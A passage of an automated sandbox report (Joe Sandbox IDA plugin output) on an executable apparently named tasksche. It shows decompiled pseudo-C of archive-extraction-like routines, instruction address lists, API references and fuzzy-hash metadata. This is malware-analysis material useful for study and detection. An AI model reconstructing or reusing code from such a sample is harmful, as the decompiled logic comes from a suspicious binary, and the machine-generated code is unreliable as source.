																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

0x004076aa
0x004076af
0x004076b9
0x004076c3
0x004076c7
0x004076cc
0x004076d3
0x004076d6
0x004076d9
0x00407708
0x00407709
0x0040770f
0x00407712
0x0040779c
0x0040779f
0x004077a6
0x004077ad
0x004077ca
0x004077e3
0x004077e7
0x004077ec
0x004077ee
0x004077f2
0x004077f6
0x004077f8
0x004077fc
0x004077fe
0x004077fe
0x004077fc
0x00407807
0x0040781a
0x0040781f
0x00407826
0x00407871
0x00407876
0x00407878
0x0040788a
0x00407890
0x00407896
0x004078a9
0x004078af
0x004078bd
0x004078c0
0x004078c4
0x004078c8
0x004078cc
0x004078df
0x004078e2
0x004078e8
0x004078ea
0x004078f7
0x004078f7
0x004078f7
0x004078f9
0x004078fc
0x0040790d
0x00407912
0x00407914
0x00408204
0x00408204
0x0040778b
0x0040778c
0x00407791
0x00407799
0x00407799
0x0040791f
0x00407930
0x00407935
0x00407939
0x0040794e
0x0040794e
0x00407952
0x00407952
0x00407955
0x0040795c
0x00407967
0x00407967
0x0040796c
0x00407975
0x0040797b
0x00407980
0x0040798a
0x0040798f
0x00407991
0x004079c5
0x004079cc
0x004079cc
0x004079d2
0x004079d2
0x004079de
0x00407a18
0x00407a22
0x00407a27
0x00407a29
0x00407a2f
0x00407a32
0x00407a32
0x00407a45
0x00407a4c
0x00407a4e
0x00407a50
0x00407a7e
0x00407a80
0x00407a94
0x00407a97
0x00407a9c
0x00407aa3
0x00407aa5
0x00407aac
0x00407abb
0x00407ac3
0x00407ac5
0x00407ac7
0x00407ace
0x00407ad6
0x00407ae2
0x00407ae7
0x00407ae7
0x00407ace
0x00407ac5
0x00407aac
0x00407aeb
0x00407af1
0x00407af6
0x00407afc
0x00407afe
0x00407b02
0x00407b06
0x00407b0a
0x00407b93
0x00407b93
0x00407b95
0x00407b9a
0x00407b9c
0x00407c29
0x00407c2d
0x00000000
0x00000000
0x00407c2f
0x00407c3a
0x00407c3c
0x00407c41
0x00000000
0x00407c41
0x00407ba2
0x00407ba6
0x00407c06
0x00407c0c
0x00407c10
0x00407c15
0x00407c1f
0x00000000
0x00407c1f
0x00407ba8
0x00407bad
0x00000000
0x00000000
0x00407baf
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407bbb
0x00000000
0x00000000
0x00407bbd
0x00407bc0
0x00407bc3
0x00407bca
0x00000000
0x00000000
0x00407bcc
0x00407bcc
0x00407bcc
0x00407bd8
0x00407bd9
0x00407bda
0x00407bdf
0x00000000
0x00407b10
0x00407b10
0x00407b13
0x00000000
0x00000000
0x00407b15
0x00407b19
0x00407c4c
0x00407c4c
0x00407c4f
0x00407c4f
0x00407c56
0x00407c7d
0x00407c81
0x004081a5
0x004081ab
0x004081af
0x004081b4
0x004081be
0x004081c3
0x004081c7
0x004081c9
0x004081c9
0x004081c9
0x004081c9
0x004081cf
0x004081cf
0x004081d2
0x004081d9
0x00000000
0x00000000
0x004081db
0x004081df
0x00407789
0x00407789
0x00000000
0x00407789
0x004081e5
0x004081ec
0x004081fa
0x004081fe
0x00000000
0x00000000
0x00000000
0x004081fe
0x004081ee
0x004081f0
0x00000000
0x004081f0
0x00407c87
0x00407c8a
0x00407c8f
0x00407c92
0x00407ca4
0x00407ca4
0x00407ca8
0x00407e5c
0x00407e5c
0x00407e60
0x00407e64
0x00407cef
0x00407cef
0x00407cf7
0x00407cfd
0x00407d03
0x00407d09
0x00407d26
0x00407d3c
0x00407d4d
0x00407d57
0x00407d5e
0x00407d63
0x00407d69
0x00407d6c
0x00407d6f
0x00407d71
0x00407de2
0x00407de2
0x00407def
0x00407df3
0x00407df9
0x00407e0c
0x00407e0c
0x00407e10
0x00407e10
0x00407e14
0x00407e18
0x00407e1c
0x00407f1c
0x00407f23
0x00407f25
0x00407f2c
0x00407f51
0x00407f52
0x00407f58
0x00407f63
0x00407f69
0x00407f6f
0x00407f75
0x00407f7b
0x00407f98
0x00407f2e
0x00407f2e
0x00407f34
0x00407f3a
0x00407f3d
0x00407f3d
0x00407f2c
0x00407f9d
0x00407f9f
0x00407fa4
0x00407fab
0x00407fdb
0x00407fdb
0x00407fdb
0x00407fdd
0x00407fdd
0x00407fe4
0x00407fef
0x00407ff6
0x00408017
0x00408017
0x0040801b
0x0040801f
0x0040807d
0x0040807d
0x00408081
0x00000000
0x00000000
0x00408087
0x0040808c
0x00408099
0x00408099
0x0040809d
0x004080b6
0x004080b6
0x004080ba
0x004080d7
0x004080d7
0x004080da
0x004080e1
0x004080e3
0x004080e3
0x004080e3
0x004080e3
0x004080f5
0x00408108
0x0040811b
0x0040812c
0x00408137
0x00408147
0x00408154
0x00408165
0x0040816a
0x0040816d
0x00408174
0x00408183
0x00408188
0x0040818a
0x00408199
0x00408199
0x0040818a
0x0040819e
0x00000000
0x0040819e
0x004080bc
0x004080bf
0x004080c6
0x00000000
0x00000000
0x004080d2
0x00000000
0x004080d2
0x0040809f
0x004080a6
0x00000000
0x00000000
0x004080ac
0x004080b0
0x00000000
0x00000000
0x00000000
0x004080b0
0x0040808e
0x00408093
0x00000000
0x00000000
0x00000000
0x00408093
0x00408021
0x00408025
0x00000000
0x00000000
0x00408027
0x00408029
0x00000000
0x00000000
0x0040802b
0x00408031
0x0040805b
0x00408061
0x00408065
0x00408066
0x00408068
0x00408068
0x00408074
0x00408078
0x00000000
0x00408078
0x00408033
0x00408039
0x00408043
0x00408043
0x0040804a
0x00000000
0x00000000
0x00408052
0x00408056
0x00408057
0x00000000
0x00408057
0x0040803b
0x00408041
0x00000000
0x00000000
0x00000000
0x00408041
0x00407ff8
0x00407fff
0x00000000
0x00000000
0x00408001
0x0040800c
0x0040800c
0x0040800e
0x00408010
0x00408010
0x00000000
0x0040800e
0x00408003
0x0040800a
0x00000000
0x00000000
0x00000000
0x0040800a
0x00407fe6
0x00000000
0x00407fe6
0x00407fb6
0x00407fce
0x00407fd3
0x00407fd5
0x00000000
0x00000000
0x00407fd7
0x00000000
0x00407fd7
0x00407e22
0x00407e28
0x00407e2b
0x00407e88
0x00407e9c
0x00407e9e
0x00407ea3
0x00407ea7
0x00407eeb
0x00407eeb
0x00407ef2
0x00407efe
0x00407efe
0x00407f02
0x00407f0f
0x00407f0f
0x00407f0f
0x00407f11
0x00407f11
0x00000000
0x00407f11
0x00407f04
0x00407f04
0x00407f08
0x00000000
0x00000000
0x00407f0c
0x00000000
0x00407f0c
0x00407ef4
0x00407ef8
0x00000000
0x00000000
0x00407efa
0x00407efa
0x00000000
0x00407efa
0x00407ea9
0x00407eb1
0x00000000
0x00000000
0x00407eb3
0x00407ebe
0x00407ec5
0x00407ec6
0x00407ec9
0x00407ed5
0x00407edc
0x00407edf
0x00407ecb
0x00407ecb
0x00407ecb
0x00407ee4
0x00407ee4
0x00407ee7
0x00407ee9
0x00000000
0x00000000
0x00000000
0x00407ee9
0x00407e2d
0x00407e30
0x00000000
0x00000000
0x00407e32
0x00407e35
0x00407e6f
0x00407e6f
0x00407e73
0x00000000
0x00000000
0x00407e7b
0x00407e81
0x00000000
0x00407e81
0x00407e37
0x00407e3a
0x00000000
0x00000000
0x00407e3c
0x00407e3f
0x00000000
0x00000000
0x00407e4e
0x00407e53
0x00000000
0x00407e53
0x00407dfb
0x00407dff
0x00000000
0x00000000
0x00407e01
0x00407e06
0x00407e0a
0x00000000
0x00000000
0x00000000
0x00407e0a
0x00407d73
0x00407d79
0x00000000
0x00000000
0x00407d7b
0x00407d87
0x00407d8d
0x00407d97
0x00407d9a
0x00407d9c
0x00000000
0x00000000
0x00407d9e
0x00407da4
0x00407da4
0x00407da6
0x00407dcb
0x00407ddd
0x00000000
0x00407ddd
0x00407da8
0x00407db2
0x00407db4
0x00407db9
0x00407dbf
0x00000000
0x00000000
0x00407dc1
0x00000000
0x00000000
0x00407dc3
0x00407dc9
0x00000000
0x00000000
0x00000000
0x00407dc9
0x00407daa
0x00407db0
0x00000000
0x00000000
0x00000000
0x00407db0
0x00407da0
0x00407da2
0x00000000
0x00000000
0x00000000
0x00407da2
0x00407ce9
0x00407ce9
0x00407ce9
0x00407ce9
0x00000000
0x00407ce9
0x00407cae
0x00407cb3
0x00407cb7
0x00407cbf
0x00407cc4
0x00407cc6
0x00407cd5
0x00407ce4
0x00407ce4
0x00407cc6
0x00000000
0x00407cb7
0x00407c94
0x00407c9b
0x00407c9e
0x00000000
0x00000000
0x00000000
0x00407c9e
0x00407c65
0x00407c69
0x00407c6d
0x00407c72
0x00407c74
0x00000000
0x00000000
0x00407c76
0x00407be1
0x00407be7
0x00407beb
0x00407bf0
0x00407bfa
0x00407bff
0x00000000
0x00407bff
0x00407b1f
0x00407b24
0x00407b27
0x00407c44
0x00407c44
0x00407c48
0x00000000
0x00000000
0x00000000
0x00407c4a
0x00407b2d
0x00407b30
0x00407b37
0x00000000
0x00000000
0x00407b3d
0x00407b44
0x00407b48
0x00407b4d
0x00407b4f
0x00407b80
0x00407b80
0x00407b84
0x00000000
0x00000000
0x00407b8a
0x00407b8a
0x00000000
0x00407b8a
0x00407b51
0x00407b55
0x00000000
0x00000000
0x00407b7b
0x00000000
0x00407b7b
0x00407b0a
0x004079ea
0x004079ef
0x004079f1
0x004079ff
0x00407a02
0x00407a09
0x00407a0f
0x00407a14
0x00407a14
0x00000000
0x00407a09
0x004079f3
0x00000000
0x004079f3
0x004079ce
0x004079ce
0x00000000
0x004079ce
0x004079a0
0x004079a5
0x004079a7
0x00000000
0x00000000
0x004079a9
0x004079b0
0x00000000
0x004079b2
0x004079be
0x00000000
0x004079be
0x004079b0
0x0040796e
0x00407973
0x00000000
0x00000000
0x00000000
0x00407973
0x0040795e
0x00407965
0x00000000
0x00000000
0x00000000
0x00407965
0x0040793b
0x0040793f
0x00000000
0x00000000
0x00407941
0x00407948
0x0040794c
0x00000000
0x00000000
0x00000000
0x0040794c
0x004078ec
0x004078f1
0x00000000
0x004078f3
0x004078f3
0x00000000
0x004078f3
0x004078f1
0x004078ce
0x004078d4
0x004078d7
0x004078d9
0x00000000
0x00000000
0x00000000
0x004078d9
0x0040787a
0x0040787d
0x00407884
0x00000000
0x00000000
0x00407886
0x00407886
0x00000000
0x00407886
0x0040782b
0x00407831
0x00407834
0x00000000
0x00000000
0x00407836
0x0040783a
0x00000000
0x0040783c
0x0040783c
0x0040783e
0x00407840
0x00407840
0x00407843
0x0040785b
0x0040785d
0x00000000
0x0040785f
0x0040785f
0x00407868
0x00000000
0x00407868
0x0040785d
0x0040783a
0x004077b5
0x004077bb
0x00000000
0x00000000
0x004077bd
0x004077c4
0x00000000
0x00000000
0x00000000
0x004077c4
0x00407718
0x0040771b
0x0040773a
0x0040773a
0x0040773d
0x00000000
0x00000000
0x00407743
0x0040774a
0x00000000
0x00000000
0x0040775a
0x0040775f
0x00407761
0x00407786
0x00000000
0x00407763
0x0040776a
0x00000000
0x0040776a
0x00407761
0x0040771d
0x00407724
0x00000000
0x0040772a
0x00407735
0x00000000
0x00407735
0x00407724
0x004076e2
0x00407701
0x00407701
0x00000000
0x00407701
0x004076f3
0x00000000
0x004076f5
0x004076fc
0x00000000
0x004076fc

APIs

__EH_prolog.LIBCMT ref: 004076AF

Part of subcall function 00418B3D: _wcscpy.LIBCMT ref: 00418C26

_memcmp.LIBCMT ref: 00407ABB

Strings

E, xrefs: 0040808E

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memcmp_wcscpy
String ID: E
API String ID: 1926841707-3568589458
Opcode ID: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction ID: c8680630b07ceb330da05956c27536b96a03d31217007f6de18683c0289c3294
Opcode Fuzzy Hash: 6c4558fb238d66dc116ff5003075a2549135680b9de7e03f82a9277970bbe958
Instruction Fuzzy Hash: 4872B870D086849EEF25DB64C844BEA7BA55F05304F0840FFE94A6B2D2C77D7984CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 4.6, APIs: 3, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004126F0(void* __ecx, unsigned int _a4, char _a8, char _a11) {
				signed int _v8;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				unsigned int _t37;
				signed int _t39;
				intOrPtr _t41;
				signed int _t44;
				signed int _t50;
				unsigned int _t53;
				void* _t59;
				void* _t64;
				signed int _t65;
				signed int* _t67;
				intOrPtr* _t69;
				void* _t74;

				_t53 = _a4;
				_t74 = __ecx;
				if(_t53 == 0) {
					E004063CE(0x4335ac);
				}
				_t37 = 0x40000;
				if(_t53 < 0x40000) {
					_t53 = 0x40000;
					_a4 = 0x40000;
				}
				if(_t53 >  *(_t74 + 0xe6d8)) {
					_t37 = _t53 >> 0x10;
					if(_t37 <= 0x10000) {
						if(_a8 == 0 ||  *(_t74 + 0x4b34) == 0 &&  *((char*)(_t74 + 0x4c38)) == 0) {
							L11:
							_a11 = 0;
							goto L12;
						} else {
							_a11 = 1;
							if( *((char*)(_t74 + 0x4c38)) == 0) {
								L12:
								_push(_t67);
								if( *((char*)(_t74 + 0x4c38)) == 0) {
									_t39 = E0041CF3E(_t53, _t64, _t67, _t53); // executed
									_v8 = _t39;
									__eflags = _t39;
									if(__eflags != 0) {
										L20:
										if( *((char*)(_t74 + 0x4c38)) != 0) {
											L27:
											 *(_t74 + 0xe6d8) = _t53;
											 *((intOrPtr*)(_t74 + 0xe6dc)) = _t53 - 1;
											return _t39;
										}
										E0041A820(_t67, _v8, 0, _t53);
										if(_a11 == 0) {
											L24:
											_t69 = _t74 + 0x4b34;
											_t41 =  *_t69;
											_t94 = _t41;
											if(_t41 != 0) {
												_push(_t41);
												E0041A506(_t53, _t69, _t74, _t94);
											}
											_t39 = _v8;
											 *_t69 = _t39;
											goto L27;
										}
										_t59 = 1;
										if( *(_t74 + 0xe6d8) < 1) {
											goto L24;
										} else {
											goto L23;
										}
										do {
											L23:
